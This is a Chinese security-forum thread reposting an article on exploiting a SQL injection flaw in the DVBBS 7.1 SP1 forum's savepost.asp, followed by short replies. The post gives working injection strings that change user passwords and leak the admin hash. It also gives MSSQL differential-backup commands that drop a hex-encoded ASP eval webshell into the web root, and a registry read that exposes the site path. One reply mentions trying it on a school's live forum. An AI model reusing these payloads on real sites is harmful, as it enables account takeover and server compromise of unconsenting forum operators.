返回列表 发帖

[转载]对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用

[watermark]文章作者:风尘浪子 动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06 发现:Bug.Center.Team 严重程度:严重 厂商名称:动网论坛(DVBBS) 程序版本:DVBBS 7.1.0 SP1 漏洞分析: 因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布 厂商补丁: http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 最新漏洞出来了,之前看见bct的人在qq群叫卖漏洞,要卖500大洋。没想到两天不到,就把漏洞发了。从 http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1下了个补丁,看了看,修改了许多。仔细看看Savepost.asp,发现也修改了许多地方。 怎么办呢,看不到修改在哪里,只好自己朝下看了。 看到下面: ------------------------------ If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0 If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","") ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" GetMoneyType = 3 ';UseTools = ToolsInfo(4) -------------------------------------- 再朝下看: Public Sub Insert_To_Announce() ';插入回复表 DIM UbblistBody UbblistBody = Content UbblistBody = Ubblist(Content) SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",';"&username&"';,';"&topic&"';,';"&Content&"';,';"&DateTimeStr&"';,';"&Dvbbs.strlength(Content)&"';,"&RootID&","&ilayer&","&iorders&",';"&Dvbbs.UserTrueIP&"';,';"&Expression(1)&"';,"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",';"&UbblistBody&"';,"&ToMoney&",';"&UseTools&"';,';"&ToolsBuyUser&"';,"&GetMoneyType&")" Dvbbs.Execute(sql) 可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。 在悔过头来看补丁里面: insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&" 看来应该是这个地方了。 利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。 利用办法嘛,先注册一个id,找个版面发帖子, 帖子内容下面有个选择帖子类型。 选择---论坛交易币设置。 下面是表单内容。 看源代码: --------------------------------------- 金币数量: --------------------------------------- 就是这个地方了,hoho。 下面有个“可购买名单限制”,里面就填写: xjy111';,0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]=';yellowcat';)/**/where[UserName]=';qq156544632';;-- 提交成功。 看看我的Email。 晕死,居然成了空白。不知道为什么哈。 来点直接的: coolidea|||123';,0);update/**/Dv_User/**/set/**/UserPassword=';469e80d32c0559f8';/**/where[UserName]=';qq156544632';;-- 这回好了,先退出,用admin888这个密码直接成功登录。 好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。 直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧) 或者差异备份(后台可以看到web绝对路径): create table aspshell (str image); declare @a sysname select @a=db_name() backup database @a to disk=';D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak; insert into aspshell values(0x3C256576616C20726571756573742822232229253E); declare @a sysname select @a=db_name() backup database @a to disk=';D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp'; with differential; drop table aspshell; 另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的) create table regread(a varchar(255),b varchar(255)); (建立一个临时表,存放读取到的信息) insert regread exec master.dbo.xp_regread ';HKEY_LOCAL_MACHINE';,';SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots';, ';/'; (使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中) update dv_boke_user set boketitle=(select top 1 b from regread) where bokename=';admin'; 至于acess版本没有研究。 最近正在做毕业设计,日忙,一点也没有时间。发在这里大家讨论去吧。本人是一个大菜鸟,错误难免,或许bct的人发现的不是这个地方呢。 此漏洞危害很大,bct意见把dvbbs官方和某著名论坛搞定了。我是本地测试的,本来想到黑防上面去测试一下,发现不能发金币贴,差点郁闷致死! 吃饭去了。。。闪。[/watermark]

[转载]对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用

对SP2 的比较感兴趣,因为偶们学校的就是SP2~
尝试过部分方法,好像没效果```,技术有限,无奈

TOP

[转载]对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用

利用工具和尚上个礼拜都写出来了- -汗~

TOP

返回列表 回复 发帖